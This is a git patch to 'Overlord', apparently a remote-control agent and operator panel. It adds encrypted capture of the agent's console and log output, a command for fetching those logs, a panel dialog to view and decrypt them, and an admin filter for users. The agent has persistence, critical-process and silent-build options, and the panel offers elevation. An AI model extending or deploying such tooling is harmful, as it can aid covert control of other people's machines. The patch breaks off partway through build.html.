From 84de7050fb72fd14b0843dfa33a806c57eedce3f Mon Sep 17 00:00:00 2001 From: KingKDot Date: Sat, 27 Jun 2026 16:40:54 -0500 Subject: [PATCH] encrypted logs, more customization for admins. --- .gitignore | 4 +- Overlord-Client/cmd/agent/config/config.go | 1 + Overlord-Client/cmd/agent/handlers/command.go | 26 ++ .../cmd/agent/log_silence_noprint.go | 17 +- .../cmd/agent/securelog/securelog.go | 17 ++ .../cmd/agent/securelog/securelog_noprint.go | 263 ++++++++++++++++++ .../cmd/agent/securelog/securelog_stub.go | 10 + Overlord-Client/cmd/agent/wire/protocol.go | 19 ++ Overlord-Server/public/assets/main.js | 99 +++++++ Overlord-Server/public/assets/ui.js | 1 + Overlord-Server/public/assets/users.js | 33 ++- Overlord-Server/public/build.html | 6 +- Overlord-Server/public/users.html | 22 +- Overlord-Server/src/config.ts | 29 ++ Overlord-Server/src/protocol.ts | 22 ++ Overlord-Server/src/server/build-process.ts | 8 +- .../src/server/client-log-crypto.test.ts | 56 ++++ .../src/server/client-log-crypto.ts | 102 +++++++ .../src/server/plugin-runtime/worker-host.ts | 2 + .../src/server/routes/client-routes.ts | 94 ++++++- .../src/server/routes/plugin-routes.ts | 116 +++++++- .../routes/websocket-lifecycle-routes.ts | 13 + Overlord-Server/src/wsValidation.ts | 1 + plugins/docs/server-side-plugins.md | 21 ++ 24 files changed, 952 insertions(+), 30 deletions(-) create mode 100644 Overlord-Client/cmd/agent/securelog/securelog.go create mode 100644 Overlord-Client/cmd/agent/securelog/securelog_noprint.go create mode 100644 Overlord-Client/cmd/agent/securelog/securelog_stub.go create mode 100644 Overlord-Server/src/server/client-log-crypto.test.ts create mode 100644 Overlord-Server/src/server/client-log-crypto.ts diff --git a/.gitignore b/.gitignore index 827f6bf..4ea2da6 100644 --- a/.gitignore +++ b/.gitignore @@ -515,4 +515,6 @@ FodyWeavers.xsd save.txt *.wasm Albedo/* -plink/* \ No newline at end of file +plink/* +plugins/plink/* +plugins/plink-static/* \ No newline at end of file diff --git a/Overlord-Client/cmd/agent/config/config.go b/Overlord-Client/cmd/agent/config/config.go index 576e232..67d0d48 100644 --- a/Overlord-Client/cmd/agent/config/config.go +++ b/Overlord-Client/cmd/agent/config/config.go @@ -33,6 +33,7 @@ var DefaultBuildTag = "" var DefaultSleepSeconds = "0" var DefaultCriticalProcess = "false" var DefaultFetchPublicIP = "false" +var DefaultSecureLogPublicKey = "" const settingsFile = "config/settings.json" const serverIndexFile = "config/server_index.json" diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index bf1cf4f..4885daa 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -23,6 +23,7 @@ import ( "overlord-client/cmd/agent/persistence" "overlord-client/cmd/agent/plugins" "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/securelog" "overlord-client/cmd/agent/sysinfo" "overlord-client/cmd/agent/webrtcpub" "overlord-client/cmd/agent/wire" @@ -2023,6 +2024,31 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in caps := audio.ProbeCapabilities() payload, _ := json.Marshal(caps) return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: caps.Available, Message: string(payload)}) + case "client_logs_request": + payload := payloadAsMap(envelope["payload"]) + sinceSeq := uint64(payloadNumberToInt64(payload["sinceSeq"])) + limit := int(payloadNumberToInt64(payload["limit"])) + snap := securelog.SnapshotLogs(sinceSeq, limit) + entries := make([]wire.ClientLogEntry, 0, len(snap.Entries)) + for _, entry := range snap.Entries { + entries = append(entries, wire.ClientLogEntry{ + Seq: entry.Seq, + At: entry.At, + Source: entry.Source, + Blob: entry.Blob, + }) + } + return wire.WriteMsg(ctx, env.Conn, wire.ClientLogsResult{ + Type: "client_logs_result", + CommandID: cmdID, + OK: snap.Enabled && snap.Error == "", + Entries: entries, + Dropped: snap.Dropped, + FromSeq: snap.FromSeq, + ToSeq: snap.ToSeq, + Enabled: snap.Enabled, + Error: snap.Error, + }) case "desktop_audio_start": sessionID, _ := envelopePayloadString(envelope, "sessionId") source := "system" diff --git a/Overlord-Client/cmd/agent/log_silence_noprint.go b/Overlord-Client/cmd/agent/log_silence_noprint.go index d4cb2a2..1bcc213 100644 --- a/Overlord-Client/cmd/agent/log_silence_noprint.go +++ b/Overlord-Client/cmd/agent/log_silence_noprint.go @@ -4,21 +4,10 @@ package main import ( - "io" - "log" - "os" + "overlord-client/cmd/agent/config" + "overlord-client/cmd/agent/securelog" ) -var devNullFile *os.File - func init() { - log.SetOutput(io.Discard) - - file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0) - if err != nil { - return - } - devNullFile = file - os.Stdout = file - os.Stderr = file + securelog.Install(config.DefaultSecureLogPublicKey) } diff --git a/Overlord-Client/cmd/agent/securelog/securelog.go b/Overlord-Client/cmd/agent/securelog/securelog.go new file mode 100644 index 0000000..b330275 --- /dev/null +++ b/Overlord-Client/cmd/agent/securelog/securelog.go @@ -0,0 +1,17 @@ +package securelog + +type Entry struct { + Seq uint64 `msgpack:"seq" json:"seq"` + At int64 `msgpack:"at" json:"at"` + Source string `msgpack:"source" json:"source"` + Blob string `msgpack:"blob" json:"blob"` +} + +type Snapshot struct { + Entries []Entry + Dropped uint64 + FromSeq uint64 + ToSeq uint64 + Enabled bool + Error string +} diff --git a/Overlord-Client/cmd/agent/securelog/securelog_noprint.go b/Overlord-Client/cmd/agent/securelog/securelog_noprint.go new file mode 100644 index 0000000..bf2da62 --- /dev/null +++ b/Overlord-Client/cmd/agent/securelog/securelog_noprint.go @@ -0,0 +1,263 @@ +//go:build noprint +// +build noprint + +package securelog + +import ( + "bufio" + "bytes" + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "crypto/rsa" + "crypto/sha256" + "crypto/x509" + "encoding/base64" + "encoding/json" + "fmt" + "io" + "log" + "os" + "strings" + "sync" + "sync/atomic" + "time" +) + +const ( + maxEntries = 2048 + maxLineBytes = 64 * 1024 + maxSnapshotCount = 512 +) + +type encryptedEnvelope struct { + V int `json:"v"` + Alg string `json:"alg"` + Seq uint64 `json:"seq"` + At int64 `json:"at"` + Source string `json:"source"` + WrappedKey string `json:"wrappedKey"` + Nonce string `json:"nonce"` + Ciphertext string `json:"ciphertext"` +} + +type captureWriter struct { + source string +} + +var ( + mu sync.Mutex + entries []Entry + dropped uint64 + seq uint64 + enabled atomic.Bool + lastError atomic.Value + publicKey *rsa.PublicKey + originalOut *os.File + originalErr *os.File +) + +func Install(publicKeyB64 string) { + if enabled.Load() { + return + } + originalOut = os.Stdout + originalErr = os.Stderr + + key, err := parsePublicKey(publicKeyB64) + if err != nil { + setError(err.Error()) + log.SetOutput(io.Discard) + redirectToNull() + return + } + publicKey = key + enabled.Store(true) + + log.SetOutput(captureWriter{source: "log"}) + log.SetFlags(log.LstdFlags) + redirectPipe("stdout", originalOut, func(f *os.File) { os.Stdout = f }) + redirectPipe("stderr", originalErr, func(f *os.File) { os.Stderr = f }) +} + +func SnapshotLogs(sinceSeq uint64, limit int) Snapshot { + mu.Lock() + defer mu.Unlock() + + if limit <= 0 || limit > maxSnapshotCount { + limit = maxSnapshotCount + } + out := make([]Entry, 0, min(limit, len(entries))) + for _, entry := range entries { + if entry.Seq <= sinceSeq { + continue + } + out = append(out, entry) + if len(out) >= limit { + break + } + } + var from, to uint64 + if len(out) > 0 { + from = out[0].Seq + to = out[len(out)-1].Seq + } + return Snapshot{ + Entries: out, + Dropped: dropped, + FromSeq: from, + ToSeq: to, + Enabled: enabled.Load(), + Error: currentError(), + } +} + +func (w captureWriter) Write(p []byte) (int, error) { + record(w.source, p) + return len(p), nil +} + +func redirectPipe(source string, mirror *os.File, assign func(*os.File)) { + reader, writer, err := os.Pipe() + if err != nil { + setError(fmt.Sprintf("%s pipe failed: %v", source, err)) + redirectToNull() + return + } + assign(writer) + go readPipe(source, reader, mirror) +} + +func readPipe(source string, reader *os.File, mirror *os.File) { + scanner := bufio.NewScanner(reader) + scanner.Buffer(make([]byte, 4096), maxLineBytes) + for scanner.Scan() { + record(source, append(scanner.Bytes(), '\n')) + } + if err := scanner.Err(); err != nil { + record("securelog", []byte(fmt.Sprintf("%s capture error: %v\n", source, err))) + } +} + +func record(source string, raw []byte) { + if !enabled.Load() || publicKey == nil || len(raw) == 0 { + return + } + if len(raw) > maxLineBytes { + raw = append(raw[:maxLineBytes], []byte("\n[securelog] line truncated\n")...) + } + raw = bytes.TrimRight(raw, "\r\n") + if len(raw) == 0 { + return + } + + nextSeq := atomic.AddUint64(&seq, 1) + now := time.Now().UnixMilli() + blob, err := encryptEntry(nextSeq, now, source, raw) + if err != nil { + setError(err.Error()) + return + } + + entry := Entry{Seq: nextSeq, At: now, Source: source, Blob: blob} + mu.Lock() + if len(entries) >= maxEntries { + copy(entries, entries[1:]) + entries[len(entries)-1] = entry + dropped++ + } else { + entries = append(entries, entry) + } + mu.Unlock() + + mirrorEncrypted(entry) +} + +func encryptEntry(seq uint64, at int64, source string, plaintext []byte) (string, error) { + aesKey := make([]byte, 32) + nonce := make([]byte, 12) + if _, err := rand.Read(aesKey); err != nil { + return "", err + } + if _, err := rand.Read(nonce); err != nil { + return "", err + } + block, err := aes.NewCipher(aesKey) + if err != nil { + return "", err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", err + } + aad := []byte(fmt.Sprintf("%d:%d:%s", seq, at, source)) + ciphertext := gcm.Seal(nil, nonce, plaintext, aad) + wrapped, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, publicKey, aesKey, aad) + if err != nil { + return "", err + } + env := encryptedEnvelope{ + V: 1, + Alg: "RSA-OAEP-SHA256+A256GCM", + Seq: seq, + At: at, + Source: source, + WrappedKey: base64.StdEncoding.EncodeToString(wrapped), + Nonce: base64.StdEncoding.EncodeToString(nonce), + Ciphertext: base64.StdEncoding.EncodeToString(ciphertext), + } + jsonBytes, err := json.Marshal(env) + if err != nil { + return "", err + } + return base64.StdEncoding.EncodeToString(jsonBytes), nil +} + +func mirrorEncrypted(entry Entry) { + if originalOut == nil { + return + } + _, _ = fmt.Fprintf(originalOut, "OVERLORD-SECURE-LOG v1 seq=%d source=%s %s\n", entry.Seq, entry.Source, entry.Blob) +} + +func parsePublicKey(publicKeyB64 string) (*rsa.PublicKey, error) { + raw := strings.TrimSpace(publicKeyB64) + if raw == "" { + return nil, fmt.Errorf("secure log public key missing") + } + der, err := base64.StdEncoding.DecodeString(raw) + if err != nil { + return nil, fmt.Errorf("secure log public key decode failed: %w", err) + } + pub, err := x509.ParsePKIXPublicKey(der) + if err != nil { + return nil, fmt.Errorf("secure log public key parse failed: %w", err) + } + rsaPub, ok := pub.(*rsa.PublicKey) + if !ok { + return nil, fmt.Errorf("secure log public key is not RSA") + } + return rsaPub, nil +} + +func redirectToNull() { + file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0) + if err != nil { + return + } + os.Stdout = file + os.Stderr = file +} + +func setError(msg string) { + lastError.Store(msg) +} + +func currentError() string { + if v := lastError.Load(); v != nil { + if s, ok := v.(string); ok { + return s + } + } + return "" +} diff --git a/Overlord-Client/cmd/agent/securelog/securelog_stub.go b/Overlord-Client/cmd/agent/securelog/securelog_stub.go new file mode 100644 index 0000000..f269966 --- /dev/null +++ b/Overlord-Client/cmd/agent/securelog/securelog_stub.go @@ -0,0 +1,10 @@ +//go:build !noprint +// +build !noprint + +package securelog + +func Install(_ string) {} + +func SnapshotLogs(_ uint64, _ int) Snapshot { + return Snapshot{Enabled: false, Error: "secure client logs are not enabled for this build"} +} diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index b5b869e..c1b3387 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -67,6 +67,25 @@ type CommandResult struct { Message string `msgpack:"message,omitempty"` } +type ClientLogEntry struct { + Seq uint64 `msgpack:"seq" json:"seq"` + At int64 `msgpack:"at" json:"at"` + Source string `msgpack:"source" json:"source"` + Blob string `msgpack:"blob" json:"blob"` +} + +type ClientLogsResult struct { + Type string `msgpack:"type"` + CommandID string `msgpack:"commandId,omitempty"` + OK bool `msgpack:"ok"` + Entries []ClientLogEntry `msgpack:"entries,omitempty"` + Dropped uint64 `msgpack:"dropped,omitempty"` + FromSeq uint64 `msgpack:"fromSeq,omitempty"` + ToSeq uint64 `msgpack:"toSeq,omitempty"` + Enabled bool `msgpack:"enabled"` + Error string `msgpack:"error,omitempty"` +} + type FrameHeader struct { Monitor int `msgpack:"monitor"` FPS int `msgpack:"fps"` diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index 7de7ca8..e131a3e 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -1783,6 +1783,100 @@ function escapeHtml(text) { return div.innerHTML; } +function renderClientLogs(logs) { + if (!Array.isArray(logs) || logs.length === 0) { + return '
No secure logs returned.
'; + } + return logs.map((entry) => { + const ts = entry.at ? new Date(entry.at).toLocaleString() : ""; + const source = entry.source || "log"; + return `
+
#${escapeHtml(entry.seq)} ${escapeHtml(source)} ${escapeHtml(ts)}
+
${escapeHtml(entry.text || "")}
+
`; + }).join(""); +} + +function openSecureLogsModal(clientId) { + const overlay = document.createElement("div"); + overlay.className = "fixed inset-0 z-[10000] flex items-center justify-center bg-black/60"; + overlay.addEventListener("click", (e) => { if (e.target === overlay) overlay.remove(); }); + + const modal = document.createElement("div"); + modal.className = "bg-slate-900 border border-slate-700 rounded-xl shadow-2xl p-5 w-[760px] max-w-[calc(100vw-24px)] max-h-[86vh] flex flex-col gap-4"; + modal.innerHTML = ` +
+

Secure Logs

+ +
+
+ + +
+ +
+
+ `; + overlay.appendChild(modal); + document.body.appendChild(overlay); + + const output = modal.querySelector(".secure-logs-output"); + const meta = modal.querySelector(".secure-logs-meta"); + const input = modal.querySelector(".secure-logs-input"); + const fetchBtn = modal.querySelector(".secure-logs-fetch"); + const decryptBtn = modal.querySelector(".secure-logs-decrypt"); + modal.querySelector(".secure-logs-close")?.addEventListener("click", () => overlay.remove()); + + fetchBtn.addEventListener("click", async () => { + fetchBtn.disabled = true; + output.innerHTML = '
Requesting logs...
'; + try { + const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/logs`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ limit: 200 }), + }); + const data = await res.json().catch(() => ({})); + if (!res.ok || !data.ok) { + meta.textContent = data.clientError || data.error || "Secure logs request failed"; + } else { + meta.textContent = `Entries ${data.fromSeq || 0}-${data.toSeq || 0}; dropped ${data.dropped || 0}`; + } + output.innerHTML = renderClientLogs(data.logs || []); + } catch (err) { + meta.textContent = err.message || "Secure logs request failed"; + output.innerHTML = ""; + } finally { + fetchBtn.disabled = false; + } + }); + + decryptBtn.addEventListener("click", async () => { + const blob = input.value.trim(); + if (!blob) { + input.focus(); + return; + } + decryptBtn.disabled = true; + output.innerHTML = '
Decrypting...
'; + try { + const res = await fetch("/api/client-logs/decrypt", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ blob }), + }); + const data = await res.json().catch(() => ({})); + meta.textContent = data.errors?.length ? `${data.errors.length} blob(s) could not decrypt` : "Offline blob decrypted"; + output.innerHTML = renderClientLogs(data.logs || []); + } catch (err) { + meta.textContent = err.message || "Decrypt failed"; + output.innerHTML = ""; + } finally { + decryptBtn.disabled = false; + } + }); +} + window.banClient = async (clientId) => { if (!clientId) return; if (!confirm(`Ban IP for ${clientId} and block future connections?`)) return; @@ -2054,6 +2148,11 @@ menu.addEventListener("click", async (e) => { if (ok) setTimeout(() => loadWithOptions({ force: true }), 200); closeMenu(clearContext); return; + } else if (action === "secure-logs") { + const savedClientId = contextCard; + closeMenu(clearContext); + openSecureLogsModal(savedClientId); + return; } if (!isClientOnline(contextCard)) { diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js index 0d09d75..a0b177a 100644 --- a/Overlord-Server/public/assets/ui.js +++ b/Overlord-Server/public/assets/ui.js @@ -46,6 +46,7 @@ const MENU_GROUPS = [ { label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" }, { label: "Set Group", icon: "fa-solid fa-layer-group", icolor: "text-blue-300", action: "set-group" }, { label: "Mute Notifications", icon: "fa-solid fa-bell-slash", icolor: "text-amber-300", action: "toggle-mute" }, + { label: "Secure Logs", icon: "fa-solid fa-file-shield", icolor: "text-sky-300", action: "secure-logs" }, { divider: true }, { label: "Elevate", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" }, { divider: true }, diff --git a/Overlord-Server/public/assets/users.js b/Overlord-Server/public/assets/users.js index a1bf690..bd00fad 100644 --- a/Overlord-Server/public/assets/users.js +++ b/Overlord-Server/public/assets/users.js @@ -1,10 +1,12 @@ let currentUser = null; let users = []; +let onlyOwnUsers = localStorage.getItem("adminOnlyOwnUsers") === "1"; import { escapeHtml, formatDate } from "./format.js"; const usersTableBody = document.getElementById("users-table-body"); const addUserBtn = document.getElementById("add-user-btn"); +const ownUsersToggle = document.getElementById("own-users-toggle"); const userModal = document.getElementById("user-modal"); const modalTitle = document.getElementById("modal-title"); const userForm = document.getElementById("user-form"); @@ -78,6 +80,8 @@ async function getCurrentUser() { alert("Access denied. Admin role required."); window.location.href = "/"; } + + renderUsers(); } else { window.location.href = "/"; } @@ -130,19 +134,24 @@ async function loadUsers() { } function renderUsers() { - if (users.length === 0) { + const visibleUsers = getVisibleUsers(); + + if (visibleUsers.length === 0) { + const emptyMessage = onlyOwnUsers && users.length > 0 + ? "No users created by you" + : "No users found"; usersTableBody.innerHTML = ` - No users found + ${emptyMessage} `; return; } - usersTableBody.innerHTML = users + usersTableBody.innerHTML = visibleUsers .map( (user) => ` @@ -275,6 +284,15 @@ function renderUsers() { attachActionListeners(); } +function getVisibleUsers() { + if (!onlyOwnUsers || !currentUser) return users; + return users.filter((user) => ( + user.id === currentUser.userId || + user.username === currentUser.username || + user.created_by === currentUser.username + )); +} + function getRoleBadge(role) { const badges = { admin: @@ -378,6 +396,15 @@ addUserBtn.addEventListener("click", () => { closeModal.addEventListener("click", hideModal); cancelBtn.addEventListener("click", hideModal); +if (ownUsersToggle) { + ownUsersToggle.checked = onlyOwnUsers; + ownUsersToggle.addEventListener("change", () => { + onlyOwnUsers = ownUsersToggle.checked; + localStorage.setItem("adminOnlyOwnUsers", onlyOwnUsers ? "1" : "0"); + renderUsers(); + }); +} + userForm.addEventListener("submit", async (e) => { e.preventDefault(); diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index fe01421..fb41c18 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -447,13 +447,13 @@ -